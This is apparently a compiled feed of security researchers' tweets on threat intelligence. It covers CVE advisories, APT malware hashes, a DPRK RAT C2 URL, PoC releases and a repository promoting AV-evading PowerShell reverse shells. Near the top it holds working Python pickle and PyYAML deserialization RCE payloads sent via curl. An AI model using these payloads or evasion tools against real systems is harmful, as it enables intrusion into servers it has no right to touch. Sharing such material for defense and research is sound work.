Moonbeom(Daniel)

CPO(Chief Product Officer) at 78ResearchLab, Hacking incident analysis, Digital Forensic, Research on hacking technique, Profiling hacking source.

[BRute Logic @BRuteLogic]

Python RCE

Pickle
curl TARGET/api -H"Content-Type:application/json" -d'{"data":"gASVKwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlIwCaWSUYYWUUpQu"}'

PyYAML
curl TARGET/api/config -H"Content-Type:application/x-yaml" -d'!!python/object/new:subprocess.check_output [["id"]]'

[Sakai @sakaijjang]

오산 공군기지를 공격을 한것으로 추측 이 되는 김수키(Kimsuky) 에서 만든 악성코드-Update_251001 ACM Sakesan Kantha.pdf.lnk
https://t.co/7HZBACGnjq
#오산 #악성코드 #김수키 #Kimsuky

[0patch @0patch]

Micropatches released for Windows Netlogon Remote Code Execution Vulnerability (CVE-2026-41089)
https://t.co/lvwQyIaCRc

[Emmy Byrne @byrne_emmy12099]

2603vvip고객현황.lnk
7f9fe5839a2ffaa627685f673ee5d4ba5a30857c24d4cf141ab408c7a18e3f4a
*TaskName : Intel(R) Ethernet2 Connection 1209-LG
#APT #Suspicious

[Andre Gironda @AndreGironda]

Windows DNS Client RCE -- CVE-2026-41096 POC -- qdcount=0, a DNS OPT resource record (type 41), and 0xff bytes via example response -- https://t.co/wzSIXuCLPo

[blackorbird @blackorbird]

Cyber Threat Overview 2025 From cert-FR
https://t.co/JagXzyME3k

[International Cyber Digest @IntCyberDigest]

‼️🚨 Microsoft has patched a critical Windows DNS Client remote code execution vulnerability that allows an unauthorized attacker to execute code over a network. All it takes is a malicious DNS response.

The vulnerability is tracked as CVE-2026-41096 with a CVSS score of 9.8. It is a heap-based buffer overflow in dnsapi.dll, the Windows component that processes DNS answers on every machine.

To trigger it, an attacker needs a position where they can influence DNS responses: a rogue DNS server, a poisoned resolver, a compromised router, hostile WiFi, or a man-in-the-middle placement.

That puts ordinary Windows DNS activity in the blast radius. Browsers, VPN clients, enterprise apps, update checks, and background services constantly ask DNS where to connect. The vulnerable processing sits in the Windows DNS Client path, not an edge-facing server product.

Microsoft assessed exploitation as "less likely," and Rapid7 lists the issue as not publicly disclosed and not known to be exploited at release.

On the contrary, a 9.8 unauthenticated network RCE in DNS client handling is exactly the kind of bug defenders should assume will be reverse-engineered quickly.

Defenders should:
- Deploy the May 2026 cumulative updates and confirm coverage across endpoints and servers
- Restrict DNS traffic to trusted resolvers where possible
- Monitor Dnscache and svchost.exe for abnormal child processes or unexpected outbound activity
- Treat public WiFi and untrusted resolver paths as higher-risk until patching is complete

[Gray Hats @the_yellow_fall]

Urgent: Public PoC for Apache HTTP Server. A critical double-free enables unauthenticated DoS and RCE. Update to Apache 2.4.67 immediately.

#Apache #CyberSecurity #InfoSec #RCE #VulnerabilityAlert #CVE #WebSecurity #PoC #SysAdmin
https://t.co/2Vt6gnvsQs

[V12 @v12sec]

another day, another universal linux LPE

[Emmy Byrne @byrne_emmy12099]

260506_한국 핵추진잠수함 협력 전략과 로드맵.pdf.lnk
4453b9e985f452365995c399f5292c92764570f03e6a066d7845320dd4ad09a1
#APT

[starlabs @starlabs_sg]

We're likely 1st to publicly exploit crypto: af_alg as a new attack surface in kernelCTF. Our members @n0psledbyte & @st424204 started poking it in Sep 2025, finding a 0-day container escape unnoticed since 2011. @AnthropicAI @OpenAI: interested in collaborations? We are all ears

[dmpdump @G60930953]

#DPRK PowerShell RAT 🇰🇵
NovaCX_Agency_Updated_2026047_091100_version_3_2.docx.lnk: 731d96ba17bd5714bba1f4f1dbfa0d1487fe2f54ff20bfdc64d4502538c3d587
http://pozeny[.]shop/mart/res/bb.php
bb.php: 0ce1d8a47fc78ac53c0b62bed96b20fa721e3e39115a6248d55100eb01eafff1
h/t @malwrhunterteam

[striga @striga_ai]

PoCs for Apache Tomcat Unauth RCE (CVE-2026-34486) and Apache httpd Pre-auth RCE (CVE-2026-23918) are now public on our Github.

Tomcat exploit is fully reliable. httpd chain works in a controlled lab setup with a known info leak.

https://t.co/D3dg5iTuwP
https://t.co/2zyr1ds4Mo

[kimh @desckimh]

Missed out on Pwn2Own2026 Berlin because it was way too crowded this time. 🥲
Well, here’s the Ollama RCE that I was going to bring.
Still unpatched and working (v0.22.1 in the video, but still working)

[blackorbird @blackorbird]

#APT37 ZIP(LNK) -> Python Backdoor
Webshell as always
ref:
https://t.co/CQOKhucDYy
github
https://t.co/JUqxxEu1sx

[Moonbeom(Daniel) @krNeoTra]

@satoki00 @KanbeWorks Need RCE on Linux kernel. 😏

[Norbert Tihanyi, PhD @TihanyiNorbert]

Powershell Scripts With 100% AV Bypass (PSSW100AVB) repository
https://t.co/fiLzzTgPjn

New undetectable PowerShell reverse shell added (May 4, 2026). 🔥 Essential for red teamers—use it in the next 2-3 weeks before it gets flagged!
#Powershell #RedTeam #ReverseShell

[Sakai @sakaijjang]

코레일(Korail) 4월 급여 명세서로 위장한 피싱 메일 분석
https://t.co/OK5pcJaGYP
#코레일 #Korail #피싱

[Emmy Byrne @byrne_emmy12099]

(대외보안)통일부_중동상황관련_정책간담회_기획안.pdf.lnk
e291ee630a58c405f86ca83d9364bfc3dbf13aecff9000cca4f2602158dac845
#APT #github

[Emmy Byrne @byrne_emmy12099]

Update_251001 ACM Sakesan Kantha.pdf.lnk
22180919f562fb9f6e50d7f20b2eb3f94eb009c212b74b45cf77659fe8274d5b
#APT #Kimsuky